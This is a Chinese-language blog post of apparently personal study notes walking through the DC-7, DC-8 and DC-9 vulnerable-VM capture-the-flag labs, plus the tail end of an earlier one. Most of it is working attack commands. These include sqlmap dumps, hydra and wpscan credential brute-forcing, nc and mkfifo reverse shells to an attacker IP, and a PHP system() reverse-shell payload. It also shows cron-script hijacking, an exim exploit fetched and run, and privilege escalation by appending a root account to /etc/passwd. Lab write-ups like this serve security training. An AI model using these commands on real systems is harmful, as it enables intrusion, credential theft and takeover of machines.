# 这时自己输入的命令本身貌似不会显示出来,但命令结果可以显示
11.小结
# 信息搜集
ip addr
nmap -sP 192.168.40.148 # 结果为192.168.40.166
nmap -A 192.168.40.166 -p 0-65535
# 生成字典与爆破
cewl http://wordy -w passwd.txt # cewl可根据文本生成字典
dirb http://wordy # 挖文件和目录
dirsearch -u http://wordy -e* # 挖文件和目录
# wpscan-针对WordPress的工具
wpscan --url http://wordy/ -e u # 获得用户名
wpscan --url http://wordy -U admin.txt -P passwd.txt # 爆破账号密码
cat /usr/share/wordlists/rockyou.txt|grep k01>passwords.txt # 使用kali自带的字典
wpscan --url http://wordy -P passwords.txt -U admin.txt # 重新爆破
127.0.0.1|nc -e /bin/bash 192.168.40.148 2333 # 插件漏洞,进行RCE
python -c 'import pty;pty.spawn("/bin/bash")' # 交互模式
ssh [email protected] # 网页登录不了,就尝试SSH登录
sudo -l # 查看免密的命令
查看各个用户家目录的文件-信息泄露
# 利用shell文件切换用户
echo '/bin/bash'>>backups.sh
sudo -u jens ./backups.sh
# nmap提权
echo 'os.execute("su root")' >getshell.nse
sudo nmap --script=getshell.nse
DC-7 √ Drupal
192.168.40.167
192.168.40.171
参考:https://blog.csdn.net/weixin_43583637/article/details/102809227
1.nmap
nmap扫IP与端口:
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.167 -p 0-65535
2.wappalyzer
3.信息泄露
搜索:@DC7USER
重要文件:config.php
该配置文件暴露了账号和密码
username = "dc7user";
password = "MdR3xOgB7#dW";
SSH连接:
查看文件:
ls
cd backups
发现了两个.gpg结尾的文件
.gpg
文件是使用 GnuPG(GNU Privacy Guard)工具进行加密操作后生成的文件。GnuPG 是一个免费、开源的加密软件,用于对文件和通信进行加密、签名和验证。
.gpg
文件是通过将原始文件使用 GnuPG 进行加密得到的。它们包含了经过加密处理的数据,并且只能被拥有相应私钥的人解密。GnuPG 使用一种称为“公钥加密”的加密技术,其中包括公钥和私钥。在使用 GnuPG 加密时,接收者会生成一对密钥:公钥和私钥。发送者使用接收者的公钥对要加密的文件进行加密,并生成一个
.gpg
文件。然后,发送者将该文件发送给接收者。接收者可以使用自己的私钥解密.gpg
文件,并还原为原始文件。
此路不通,则查看mbox文件:
发现这是一个计划任务,定时备份,并且备份执行的源码在/opt/scripts目录下
cd /opt/scripts
cat backups.sh
发现了两个重要命令:drush和gpg
4.修改admin密码
gpg命令用来加密
drush命令是drupal框架中用来做一些配置的命令,可以改变用户名和密码
cd /var/www/html
ls
由于网站一般都有一个管理员-admin用户,所以这里使用drush命令修改admin用户的密码
drush user-password admin --password="666"
简单解释:
回到网页并点击右上角的Log in 后:
准备反弹shell
5.反弹shell-www-data
现在需要将PHP单独作为一个模块导入:
PHP介绍页面与模块包下载地址:
https://www.drupal.org/project/php
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
然后来到网站的欢迎页面,也就是首页的编辑区:
然后按"Save"保存
通过蚁剑连接:
接下来反弹shell与切换交互式shell:
nc -e /bin/bash 192.168.40.148 2333
nc -lvnp 2333
python -c "import pty;pty.spawn('/bin/bash');"
发现当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属的组是www-data,所以当前用户可以对这个脚本文件进行操作,进行反弹shell
6.通过定时任务再次反弹shell-root
可见得backups.sh为root用户所建,属于www-data组.
且前面的-rwxrwxr-x表示了同组用户对backups.sh都有r,w,x的权限
# 靶机:/opt/scripts
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.40.148 2333 >/tmp/f" >> backups.sh
# kali:
nc -lvnp 2333
然后稍等片刻
注意
不能
在添加完反弹shell语句后使用./backups.sh
来执行此脚本.执行后虽然能反弹shell,但是弹得是www-data用户的shell,如图:
接下来拿flag:
7.小结
# nmap
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.167 -p 0-65535
# wappalyzer
Drupal
# 信息泄露
github->账号密码(config.php)->SSH
# cd /var/www/html并修改admin用户密码
drush user-password admin --password="666" # Drupal下特有
# 安装PHP模块并反弹普通用户的shell(或者是连蚁剑)
nc -e /bin/bash 192.168.40.167
# 通过定时任务反弹root用户shell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.40.148 2333 >/tmp/f" >> backups.sh
DC-8 √ Drupal
192.168.40.168
参考:https://blog.csdn.net/l2872253606/article/details/126062437
1.nmap
扫IP与端口:
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.168 -p 0-65535 -Pn
发现22端口(SSH服务),80端口(HTTP服务)
3.目录扫描
dirsearch -u 192.168.40.168 -e * -x 403 --random-agent
解析:
-u 192.168.40.167 : 指定目标IP地址
-e *:表示将尝试所有可能的文件扩展名
-x 403: 将忽略返回状态码为 403 的响应
--random-agent : 使用随机的 User-Agent 字符串发送 HTTP 请求
发现了几个重要文件:
CHANGELOG.txt->用于查看Drupal的版本
/user/login ->用于登录
4.wappalyzer
访问80端口并查网站结构:
了解具体的版本: CHANGELOG.txt
得知是Drupal 7.67
5.SQL注入
最主要的就是要寻找漏洞点,而参数往往就是一个重要的利用点.
尝试注入点:
接下来就是sqlmap时间:
# 爆库 :d7db
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch --current-db
得知数据库名为"d7db"
# 爆表 :users
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -tables
# 爆列
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -columns
# 爆字段
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -C 'name,pass,uid' -dump
得到了密码
6.john解密
touch hash.txt
echo '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z' >> hash.txt
echo '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF' >> hash.txt
cat hash.txt
得出一个密码:turtle
经测试是john的密码
7.PHP反弹shell
登录后查找可写PHP代码的位置:
<p>反弹shell成功!</p>
<?php
system("nc -e /bin/bash 192.168.40.148 2333");
?>
python -c "import pty;pty.spawn('/bin/bash');"
小tips:获得交互式shell后,若要删除字符,则需
ctrl+backspace
8.SUID提权
# 查找具有SUID权限的命令:
find / -perm -4000 -print 2 > /dev/null
这里采用WP中的/usr/sbin/exim4提权:
查看版本:
exim --version : 4.89
# 在kali上寻找
searchsploit exim 4
拷贝到kali的指定目录中:
# kali
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh
再在此目录下开启HTTP服务:
# kali
python -m http.server 6666
# dc-7
cd /tmp # EXP的要求
wget 192.168.40.148:6666/46996.sh # 再下载到靶机的/tmp目录中
# 查看文件权限
ls -al
得出EXP文件不可执行
#赋予EXP执行的权限
chmod 777 46996.sh
ls -al
cat 46996.sh
./46996.sh -m netcat
提权成功
9.小结
# DC-8
# nmap
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.168 -p 0-65535
# 目录扫描-dirsearch
dirsearch -u 192.168.40.168 -e * -x 403 --random-agent
重要文件: CHANGELOG.txt->用于查看Drupal的具体版本 ,/user/login ->用于登录
# wappalyzer
Drupal
# SQL注入:
一般而言,参数+数字
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch --current-db
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -tables
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -columns
sqlmap -u "http://192.168.40.168/?nid=1" --level=5 --risk=3 --batch -D 'd7db' -T 'users' -C 'name,pass,uid' -dump
# john解密
john hash.txt
# PHP反弹shell-也可连蚁剑
<?php system('nc -e /bin/bash 192.168.40.168 2333')?>
# SUID提权 - /usr/sbin/exim4提权
find / -perm -4000 -print 2 > /dev/null # /usr/sbin/exim4
searchsploit exim 4
cp,mv,wget,将sh文件移动到靶机的/tmp目录下,并chmod赋权
./46996.sh -m netcat # EXP中会提示用法
DC-9 √
192.168.40.169
参考:https://blog.csdn.net/xiaocainiao2017/article/details/110749596
1.nmap
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.169 -p 0-65535
照样还是22/ssh服务,80/http服务
2.dirsearch扫目录
dirsearch -u 192.168.40.169 -e * -x 403 --random-agent
3.wappalyzer
发现并没有用CMS
4.SQL注入
到处点击,寻找输入框:在Search
模块可找到
而且点击Submit后,发现页面有跳转的情况.抓包看情况:
万能密码验证SQL注入:
1' or 1=1#
sqlmap这里使用:
# sqlmap之POST型传参 : information_schema,Staff,users
# 根据上图的HTTP请求报文,得出:
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' --dbs
# 爆表
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' --tables
# 列:firstname,id,lastname,password,reg_date,username
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' -T 'UserDetails' --columns
# Staff数据库
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D Staff -T Users -C Username,Password --dump
# users数据库
sqlmap -u http://192.168.40.169/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump
注意:
1.payload中的数据库名、表名、字段名都不要用引号包围
2.注意区分大小写
Staff库
即admin/transorbital1
users库
5.文件包含
登录后发现:
可能是文件包含漏洞,尝试:发现存在文件包含漏洞
其实应该像DC-5一样需要爆破参数名,这里就省去了,直接猜测参数名为file
尝试包含Apache的日志文件:/var/log/apache2/access.log
6.knockd敲门与关门
再结合前面nmap扫描时22端口的状态是filter,猜测可能是服务器装了knockd
关于
knockd
:
查看knocked的配置文件:knockd.conf
http://192.168.40.169/welcome.php?file=../../../../../etc/knockd.conf
解析:
即使用iptables命令来允许或禁止通过TCP端口22(即SSH端口)的连接
接下来就要打开22端口:
这里参考:https://blog.csdn.net/xiaocainiao2017/article/details/110749596
#!/bin/bash
nc 192.168.40.169 7469
nc 192.168.40.169 8475
nc 192.168.40.169 9842
nmap -A 192.168.40.169 -p 22
敲门并查看22端口是否打开:
7.hydra爆破SSH账号密码
端口开启后就可以尝试SSH连接:
结合第4步的结果:
marym julied fredf barneyr tomc jerrym wilmaf bettyr chandlerb joeyt rachelg rossg monicag phoebeb scoots janitor janitor2
3kfs86sfd 468sfdfsd2 sfd87sfd1 RocksOff TC&TheBoyz B8m#48sd Pebbles BamBam01 UrAG0D! Passw0rd yN72#dsd ILoveRachel 3248dsds7s smellycats YR3BVxxxw87 Ilovepeepee Hawaii-Five-0
另:chatGPT写了一个转化脚本:https://wwwg.lanzouk.com/iaUz41485nwj
效果:
分别写入到users.txt和passwd.txt之中,
# 使用hydra爆破:
hydra -L users.txt -P passwd.txt 192.168.40.169 ssh -o hydra.ssh
三组数据:
chandlerb / UrAG0D!
joeyt / Passw0rd
janitor / Ilovepeepee
这里采用第一组数据
ssh [email protected]
但是没找到有用信息
尝试第二组数据:依旧没有有用信息
尝试第三组数据:
cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
在第4步爆出的账号中匹配到了三个,分别是
BamBam01
Passw0rd
smellycats
结合这个与hydra爆出的数据,选择joeyt
用户进行提权
find / -perm -u=s -type f 2>/dev/null
一眼望去,没有提权点
再看WP,得知要把passwords-found-on-post-it-notes.txt中的数据补充到passwd.txt中,然后再次hydra爆破:
爆出了一组新的账号密码
fredf / B4-Tru3-001
ssh [email protected]
sudo -l
NOPASSWD: /opt/devstuff/dist/test/test
cd /opt/devstuff/dist/test
发现了大量.so文件:
.so是Linux下的动态链接,类似于Windows下的.dll文件
查看其他目录:
在/opt/devstuff目录下发现了test.py和test.spec文件
.spec文件:
可以是指由被叫的rpmbuild程序中使用的文本文件。这个程序是用来建立RPM包。 RPM代表Red Hat软件包管理。这些软件包用于安装Linux程序。该文件包含包名称,版权信息,版本,引用程序文件,总结,并说明创建和安装软件包。
#!/usr/bin/python
# 该文件根据给定的命令行参数读取一个文件,并将其内容附加到另一个文件的末尾
# 本文件中的第一个参数sys.argv[0]代表程序本身,第二个参数sys.argv[1]代表第一个文件,第三个参数sys.argv[2]代表另一个文件
import sys
if len (sys.argv) != 3 : # 保证命令行参数的数量为3
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") # 以只读模式打开第二个命令行参数指定的文件
output = (f.read()) # 将内容读取到变量output中
f = open(sys.argv[2], "a") # 以追加模式打开第三个命令行参数指定的文件
f.write(output) # 进行追加
f.close()
大体思路就是写一个root权限账号出来,通过该脚本,追加到/etc/passwd之中
怎么写账号密码?
Linux是怎么生成密码的?
通过openshell生成密码,通过md5加密
perl -le 'print crypt("666","salt")' # 将字符串"666"使用盐"salt"进行加密
得到:sat087sUBmRKY
据此,构造出账户:
echo "star:sat087sUBmRKY:0:0:star:/root:/bin/bash" >>/tmp/passwd
passwd的格式:
[⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]
sudo ./test /tmp/passwd /etc/passwd
8.小结
# DC-9
# nmap
nmap -sP 192.168.40.148/24
nmap -A 192.168.40.169 -p 0-65535
# 目录扫描-dirsearch
dirsearch -u 192.168.40.169 -e * -x 403 --random-agent
# wappalyzer
没有明显的CMS
# POST型SQL注入
查询框+页面跳转->bp抓包
万能密码 1' or 1=1# 验证出SQL注入
# 数据库users
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' --dbs
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' --tables
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D 'users' -T 'UserDetails' --columns
sqlmap -u http://192.168.40.169/results.php --data 'search=mary' -D users -T UserDetails -C username,password --dump
# 另一个数据库-Staff
sqlmap -u "http://192.168.40.169/results.php" --data 'search=mary' -D Staff -T Users -C Username,Password --dump
# 注意点: 1.名称不用引号包围 2.注意大小写
# 文件包含
File does not exit ->猜测参数为file,通过/etc/passwd验证出文件包含漏洞
# knockd-filter状态
/etc/knockd.conf
# 敲门
#!/bin/bash
nc 192.168.40.169 7469
nc 192.168.40.169 8475
nc 192.168.40.169 9842
# 查看
nmap -A 192.168.40.169 -p 22
# hydra爆破:实现数据库账号密码->SSH账号密码
hydra -L users.txt -P passwd.txt 192.168.40.169 ssh -o hydra.ssh
# 登录后查到隐藏的密码,增添后再次爆破->获得真正的能够提权的用户
sudo -l
# 结合可执行文件(用于追加数据)+/etc/passwd提权
perl -le 'print crypt("666","salt")'
echo "star:sat087sUBmRKY:0:0:star:/root:/bin/bash" >>/tmp/passwd
sudo ./test /tmp/passwd /etc/passwd
标签:bin,http,--,DC,192.168,nmap,php
From: https://www.cnblogs.com/hello-admin/p/17630772.html